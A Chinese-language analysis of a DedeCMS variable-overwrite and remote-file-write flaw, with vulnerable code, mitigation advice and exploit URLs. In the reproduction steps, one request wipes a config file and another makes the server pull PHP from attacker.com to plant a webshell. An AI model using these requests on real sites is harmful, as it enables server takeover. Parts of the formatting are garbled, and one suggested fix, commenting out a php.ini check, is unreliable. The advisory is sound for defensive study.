DedeCMS include/common.inc.php 变量覆盖与远程文件包含漏洞分析
漏洞概述
本漏洞存在于DedeCMS V5.5至V5.7 SP1版本中,位于/install/index.php(或index.php.bak)文件。该漏洞结合了变量覆盖与远程文件包含两种安全问题,攻击者可利用此漏洞重定义数据库连接、直接写入webshell后门,进而获取网站甚至服务器的管理权限。
漏洞基本信息
- 漏洞编号: CVE-2015-4553
- CVSS评分: 9.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C)
- 影响版本: DedeCMS 5.5 - 5.7 SP1
- 漏洞类型: 代码错误(变量覆盖+远程文件包含)
- 危害等级: 高
漏洞原理分析
1. 变量覆盖漏洞
漏洞位于/include/common.inc.php文件中,关键问题代码如下:
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach(
$$
_request as $_k => $_v)
${$_k} = RunMagicQuotes($_v);
}
这段代码原本目的是将GET、POST、COOKIE三处传入的数据以键值对形式获取,但由于使用了`
\[`(可变变量)语法,导致可以覆盖任意变量。 ### 2. 远程文件包含漏洞 在`install/index.php`文件中,当`$step==11`时存在以下关键代码: ```php else if($step==11){ require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' [√] 存在(您可以选择安装进行体验)'; else echo ' [×] 远程获取失败'; unset($sql_content); fclose($fp); exit(); } ``` 攻击者可以通过变量覆盖控制`$updateHost`、`$s_lang`、`$install_demo_name`等参数,实现远程文件包含和任意文件写入。 ### 3. 漏洞组合利用 虽然`config_update.php`会重新定义`$updateHost`,但攻击者可以通过以下两种方式绕过: 1. 覆盖`../data/admin/config_update.php`文件中的`$updateHost`变量值 2. 将`../data/admin/config_update.php`文件内容清空 实际利用中,第二种方法更为可行。 ## 漏洞利用条件 1. 目标系统未删除install目录 2. 目标系统未正确设置`install_lock.txt`文件 3. 服务器允许远程文件包含(`allow_url_fopen`或`allow_url_include`开启) ## 漏洞复现步骤 ### 第一步:清空配置文件 发送以下请求清空`../data/admin/config_update.php`文件: ``` http://target.com/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php ``` 原理:`file_get_contents`对于无效URL返回false,导致写入空内容。 ### 第二步:远程包含获取Webshell 1. 在攻击者服务器上创建文件:`http://attacker.com/dedecms/demodata.a.txt`,内容为恶意PHP代码 2. 发送以下请求写入Webshell: ``` http://target.com/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://attacker.com/ ``` ## 防御措施 1. **官方建议**: - 升级到最新版本 - 参考官方补丁:http://www.dedecms.com/pl/ 2. **临时修复方案**: - 删除install目录 - 在`include/common.inc.php`中注释以下代码: ```php /*if(version_compare(PHP_VERSION, '5.3.0') > 0) if(strtoupper(ini_get('request_order')) == 'GP') exit('DedeCMS Error: (PHP 5.3 and above) Please set \'request_order\' ini value to include C,G and P (recommended: \'CGP\') in php.ini,more...');*/ ``` 3. **其他安全建议**: - 设置`request_order = "CGP"` in php.ini - 禁用`allow_url_fopen`和`allow_url_include` - 设置严格的目录权限 ## 技术细节补充 1. **RunMagicQuotes函数分析**: ```php function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } ``` 该函数虽然对部分敏感变量进行了过滤,但未能有效防止所有变量覆盖情况。 2. **安装锁机制**: ```php $insLockfile = dirname(__FILE__).'/install_lock.txt'; if(file_exists($insLockfile)){ exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"); } ``` 攻击者可以通过变量覆盖`$insLockfile`绕过此检查。 ## 总结 该漏洞利用链较为复杂,结合了变量覆盖和远程文件包含两种技术,危害性较高。管理员应及时升级或采取临时修复措施,同时加强服务器安全配置,防止此类漏洞被利用。\]